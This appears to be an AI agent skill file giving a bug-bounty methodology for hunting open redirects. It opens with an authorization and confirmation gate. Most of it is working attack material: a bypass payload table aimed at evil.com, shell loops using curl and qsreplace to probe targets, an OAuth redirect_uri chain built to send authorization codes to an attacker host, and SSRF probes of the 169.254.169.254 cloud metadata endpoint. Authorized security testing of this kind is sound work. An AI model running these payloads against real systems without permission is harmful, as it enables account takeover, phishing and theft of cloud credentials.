⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
HUNT-OPEN-REDIRECT — Open Redirect
Crown Jewel Targets
Open redirect alone is Low. Chained to OAuth = Critical (ATO).
Highest-value chains:
- Open redirect → OAuth auth code theft — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
- Open redirect → phishing — users trust the URL because it starts with target.com
- Open redirect → SSRF escalation — if redirect followed server-side → SSRF
- Open redirect → session fixation — force user to login endpoint with pre-set session
Attack Surface Signals
?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=
Bypass Table
| Technique | Payload |
|---|---|
| Basic | https://evil.com |
| Protocol relative | //evil.com |
| Backslash bypass | /\\evil.com |
| At-sign confusion | https://target.com@evil.com |
| Double slash | //evil.com/%2F.. |
| URL encoding | %2Fevil.com |
| Null byte | evil.com%00target.com |
| Whitespace | evil.com%09 or %20 |
| JavaScript URI | javascript:window.location='https://evil.com' |
| Data URI | data:text/html,<script>window.location='https://evil.com'</script> |
| Subdomain | https://target.com.evil.com |
| Fragment | https://evil.com#.target.com |
Step-by-Step Hunting Methodology
Phase 1 — Discover Redirect Parameters
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt
# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
Phase 2 — Basic Test
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
[ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done
Phase 3 — Bypass Techniques
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
"https://evil.com"
"//evil.com"
"/\\evil.com"
"https://$TARGET@evil.com"
"https://evil.com%23.$TARGET"
"https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
echo "$P → $LOC"
done
Phase 3b — DOM-based open redirect (client-side sink)
Server-side Location: grepping misses redirects that happen purely in JS. Source (location.hash/location.search/document.referrer) assigned to a navigation sink.
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
| grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open https://$TARGET/page#https://evil.com (or ?url=...)
# Common shape: var u=new URLSearchParams(location.search).get('url'); location=u;
(PortSwigger: DOM-based open redirection.)
Phase 4 — OAuth Chain Test
# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20
# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"
Phase 5 — Server-Side Redirect (SSRF escalation)
# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"
# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
-H "Cookie: $SESSION"
Automation
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com
# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high
# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}
Chain Table
| Open redirect finding | Chain to | Impact |
|---|---|---|
| Any open redirect | OAuth redirect_uri bypass | Auth code theft → ATO |
| Any open redirect | Phishing URL with target domain | Social engineering |
| Server-side redirect | SSRF via followed redirect | Internal service access |
| Logout redirect | Session fixation | Force login with known session |
Validation
✅ Location header in response points to evil.com (your controlled domain) ✅ Browser follows redirect to attacker-controlled page
Severity:
- Redirect alone: Low (most programs)
- Chains to OAuth code theft → ATO: High/Critical
- Chains to phishing with brand name: Low-Medium
- Server-side → SSRF: High
When to Use
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
Limitations
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
- Validate every finding (see
triage-validation) before reporting; report viareport-writing. Prefer a sandbox, disposable VM, or controlled lab.
Example
# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.